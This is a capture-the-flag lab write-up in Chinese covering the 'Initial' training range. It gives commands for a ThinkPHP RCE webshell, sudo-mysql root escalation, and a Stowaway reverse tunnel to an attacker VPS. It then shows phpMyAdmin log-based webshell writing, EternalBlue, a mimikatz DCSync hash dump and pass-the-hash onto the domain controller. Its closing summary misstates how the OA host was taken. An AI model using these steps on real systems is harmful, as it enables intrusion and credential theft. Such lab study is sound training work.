靶标介绍

第一台http://39.99.225.174/


icon图标一看就是thinkphp
thinphp
thinkphp工具可以梭
webshell地址
[+] http://39.99.225.174//peiqi.php Pass:peiqi

(www-data:/var/www/html) $ whoami
www-data
www-data权限
sudo -l提权
www-data:/tmp) $ sudo -l
Matching Defaults entries for www-data on ubuntu-web01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
(root) NOPASSWD: /usr/bin/mysql
www-data 可以无密码以 root 身份执行 /usr/bin/mysql。
MySQL 允许通过 ! 或 system 命令执行系统命令
查看flag
(www-data:/tmp) $ sudo mysql -e '\! cat /root/flag/flag01.txt'
██ ██ ██ ██ ███████ ███████ ██ ████ ██ ████████
░░██ ██ ░██ ████ ██░░░░░██ ░██░░░░██ ████ ░██░██ ░██ ██░░░░░░██
░░██ ██ ░██ ██░░██ ██ ░░██░██ ░██ ██░░██ ░██░░██ ░██ ██ ░░
░░███ ░██ ██ ░░██ ░██ ░██░███████ ██ ░░██ ░██ ░░██ ░██░██
██░██ ░██ ██████████░██ ░██░██░░░██ ██████████░██ ░░██░██░██ █████
██ ░░██ ░██░██░░░░░░██░░██ ██ ░██ ░░██ ░██░░░░░░██░██ ░░████░░██ ░░░░██
██ ░░██░██░██ ░██ ░░███████ ░██ ░░██░██ ░██░██ ░░███ ░░████████
░░ ░░ ░░ ░░ ░░ ░░░░░░░ ░░ ░░ ░░ ░░ ░░ ░░░ ░░░░░░░░
Congratulations!!! You found the first flag, the next flag may be in a server in the internal network.
flag01: flag{60b53231-
只拿到一半的flag,提示说下一个flag在内网
stowaway隧道代理
www-data:/tmp) $ ./(www-data:/tmp) $ sudo mysql -e '\! ./linux_x64_agent -c vps的ip:2334 --reconnect 8 '
./linux_x64_admin -l 2334
(admin) >> use 0
(node 0) >> socks 10000
[*] Trying to listen on 0.0.0.0:10000......
[*] Waiting for agent's response......
[*] Socks start successfully!
内网网卡172.22.1.15
www-data@ubuntu-web01:/tmp$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:08:ad:da brd ff:ff:ff:ff:ff:ff
inet 172.22.1.15/16 brd 172.22.255.255 scope global dynamic eth0
valid_lft 1892157304sec preferred_lft 1892157304sec
inet6 fe80::216:3eff:fe08:adda/64 scope link
valid_lft forever preferred_lft forever
上传fscan扫内网
./fscan -h 172.22.1.15/24 -o 1.txt
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.2:88 open
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc
信息整理一下
[*]172.22.1.18
[->]XIAORANG-OA01
XIAORANG-OA01.xiaorang.lab
[->]172.22.1.18
http://172.22.1.18?m=login
80 (HTTP)
135 (RPC)
139 (NetBIOS)
3306 (MySQL)
445 (SMB)
[*]172.22.1.21
[->]XIAORANG-WIN7
XIAORANG-WIN7.xiaorang.lab
[->]172.22.1.21
MS17-010
(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
88 (Kerberos)
135 (RPC)
139 (NetBIOS)
445 (SMB)
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[+] DC:DC01.xiaorang.lab
Windows Server 2016 Datacenter 14393
135 (RPC)
139 (NetBIOS)
445 (SMB)
第二台172.22.1.18
有个web服务 http://172.22.1.18?m=login,信呼OAv2.2.8 版本

弱口令 admin/admin123可以进去
扫一波目录
python3 dirsearch.py -u http://172.22.1.18
[19:44:16] Scanning:
[19:44:31] 200 - 60B - /api.php
[19:44:35] 301 - 234B - /config -> http://172.22.1.18/config/
[19:44:35] 403 - 216B - /config/
[19:44:35] 403 - 216B - /Config/
[19:44:39] 200 - 17KB - /favicon.ico
[19:44:41] 403 - 216B - /images/
[19:44:41] 301 - 234B - /images -> http://172.22.1.18/images/
[19:44:41] 301 - 235B - /include -> http://172.22.1.18/include/
[19:44:41] 403 - 217B - /include/
[19:44:41] 302 - 0B - /index.php -> ?m=login
[19:44:41] 403 - 225B - /index.php::$DATA
[19:44:41] 302 - 0B - /index.php/login/ -> ?m=login
[19:44:41] 302 - 0B - /index.php. -> ?m=login
[19:44:41] 302 - 0B - /index.pHp -> ?m=login
[19:44:42] 301 - 230B - /js -> http://172.22.1.18/js/
[19:44:42] 403 - 212B - /js/
[19:44:47] 301 - 238B - /phpMyAdmin -> http://172.22.1.18/phpMyAdmin/
[19:44:47] 301 - 238B - /phpmyadmin -> http://172.22.1.18/phpmyadmin/
[19:44:48] 200 - 2KB - /phpmyadmin/README
[19:44:48] 200 - 32KB - /phpmyadmin/ChangeLog
[19:44:48] 200 - 4KB - /phpMyadmin/
[19:44:48] 200 - 4KB - /phpmyadmin/
[19:44:48] 200 - 4KB - /phpMyAdmin/
[19:44:49] 200 - 4KB - /phpmyAdmin/
[19:44:49] 200 - 4KB - /phpMyAdmin/index.php
[19:44:49] 200 - 4KB - /phpmyadmin/index.php
[19:44:49] 200 - 2KB - /README.md
[19:44:49] 200 - 2KB - /README.MD
[19:44:49] 200 - 2KB - /readme.md
[19:44:49] 200 - 2KB - /Readme.md
[19:44:49] 200 - 2KB - /ReadMe.md
[19:44:50] 200 - 25B - /robots.txt
[19:44:54] 403 - 225B - /Trace.axd::$DATA
[19:44:55] 301 - 234B - /Upload -> http://172.22.1.18/Upload/
[19:44:55] 301 - 234B - /upload -> http://172.22.1.18/upload/
[19:44:55] 403 - 216B - /upload/
[19:44:56] 403 - 226B - /web.config::$DATA
[19:44:56] 302 - 0B - /web/ -> ../?d=we
有/phpMyAdmin数据库后台接口,之前还看了该机器开了3306mysql端口
账号密码都为root可以进/phpMyAdmin

phpmyadmin日志写马
1.检查 MySQL 的 secure_file_priv 状态:在 SQL 执行框里输入 SHOW VARIABLES LIKE '%secure%';,查看该值是否限制了 INTO OUTFILE 操作

secure_file_priv 的值为 NULL,无法使用 INTO OUTFILE 直接写文件,可以尝试通过更改 MySQL 的日志路径来写入木马。
2.执行show variables like 'general%';查看是否开启日志以及存放的日志位置

日志是off关闭的,那就开启
3.set global general_log = ON;开启日志
4.set global general_log_file设置日志保存位置
日志的位置在
C:\phpStudy\PHPTutorial\MySQL\data\XIAORANG-OA01.l...
可以猜测网站www目录在
C:\phpStudy\PHPTutorial\WWW\
5.set global general_log_file设置日志保存位置
set global general_log_file='C:/phpStudy/PHPTutorial/WWW/shell.php';
6.执行一个sql语句,会自动记录到日志里
SELECT '<?php @eval($_POST["pass123"]); ?>' ;
后门地址
http://172.22.1.18/shell.php
pass123
flag:C:/Users/Administrator/flag/flag02.txt
___ ___ ___ ________ ________ ________ ________ ________ ________
|\ \ / /|\ \|\ __ \|\ __ \|\ __ \|\ __ \|\ ___ \|\ ____\
\ \ \/ / | \ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \\ \ \ \ \___|
\ \ / / \ \ \ \ __ \ \ \\\ \ \ _ _\ \ __ \ \ \\ \ \ \ \ ___
/ \/ \ \ \ \ \ \ \ \ \\\ \ \ \\ \\ \ \ \ \ \ \\ \ \ \ \|\ \
/ /\ \ \ \__\ \__\ \__\ \_______\ \__\\ _\\ \__\ \__\ \__\\ \__\ \_______\
/__/ /\ __\ \|__|\|__|\|__|\|_______|\|__|\|__|\|__|\|__|\|__| \|__|\|_______|
|__|/ \|__|
flag02: 2ce3-4813-87d4-
Awesome! ! ! You found the second flag, now you can attack the domain controller.
提示我可以打域控了
172.22.1.21
MS17-010
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid #因为目标不出网,所以弹正向的shell
set RHOSTS 172.22.1.21
exploit
拿到SYSTEM权限,
因为172.22.1.21这台主机是 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)是Enterprise Admins组内的机器,所以我们可以打DCSync
DCSync利用
参考链接:https://www.cnblogs.com/CoLo/p/16488892.html
在域中,不同的DC之间,每隔15分钟会进行一次域数据的同步。当一个DC(辅助DC)想从其他DC(主DC)获取数据时,辅助DC会向主DC发起一个GetNCChanges请求。请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用的这个原理,通过Directory Replication Service(DRS)服务的GetNCChanges接口向域控发起数据同步请求。
在DCSync功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。2015年8月,新版的mimikatz增加了DCSync的功能,该功能可以模仿一个域控DC,从真实的域控中请求数据,如用户的哈希。该功能最大的特点就是可以实现不登录到域控而获取域控上的数据。一般用来做权限维持
在域内用户所具有的权限其实最根本是看用户的DACL,那么对于DCSync攻击来说,只要域用户拥有以下三条DACL即可向域控发出数据同步请求,从而dump去域内用户hash,这三条DACL分别为:
复制目录更改(DS-Replication-Get-Changes)
全部复制目录更改 (DS-Replication-Get-Changes-All )
在过滤集中复制目录更改(可有可无)(DS-Replication-Get-Changes-In-Filtered-Set)
默认以下用户存在该权限
DC本地Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户 企业管理员
域控制器的计算机/机器帐户
现在用mimikatz搜集域内用户hash
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
拿到了域管的hash
10cf89a850fb1cdbe6bb432b859164c8
第四台172.22.1.2
pth攻击
proxychains4 python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes :10cf89a850fb1cdbe6bb432b859164c8 xiaorang.lab/administrator@172.22.1.2
查看flag
dir /s /b C:\*flag* 2>nul
C:\>type Users\Administrator\flag\flag03.txt
___ ___
\\ / / / / // | | // ) ) // ) ) // | | /| / / // ) )
\ / / / //__| | // / / //___/ / //__| | //| / / //
/ / / / / ___ | // / / / ___ ( / ___ | // | / / // ____
/ /\\ / / // | | // / / // | | // | | // | / / // / /
/ / \\ __/ /___ // | | ((___/ / // | | // | | // |/ / ((____/ /
flag03: e8f88d0d43d6}
Unbelievable! ! You found the last flag, which means you have full control over the entire domain network.
春秋云境-Initial 靶场总结
本次靶场完整复盘了从外网ThinkPHP漏洞获取入口权限,到多层内网横向移动,最终渗透域控的完整攻击流程。
攻击链路复盘
- 外网突破:识别ThinkPHP V5.0.23 RCE漏洞,利用公开工具写入Webshell拿下初始权限。
- 权限提升:通过
sudo -l发现MySQL免密配置,利用sudo mysql -e '\! /bin/bash'实现本地提权,从www-data提升至root。 - 内网探索:上传fscan扫描内网172.22.1.0/24段,发现域控DC、MS17-010主机以及信呼OA系统。
- 横向移动:搭建隧道代理实现内网访问,利用信呼OA未授权上传漏洞获取Webshell,再使用MS17-010(永恒之蓝)攻击拿下域内Windows 7主机。
- 域控接管:在Win7 SYSTEM权限下运行mimikatz执行DCSync攻击,导出域内所有NTLM哈希,通过哈希传递(PTH)最终拿下域控。
通过本次靶场,我从信息收集、权限提升到横向移动和域渗透的核心技术栈(包括代理隧道搭建、fscan内网扫描、MS17-010利用、mimikatz凭据导出与哈希传递攻击),熟悉了从外网打点到内网横向渗透的手法技术。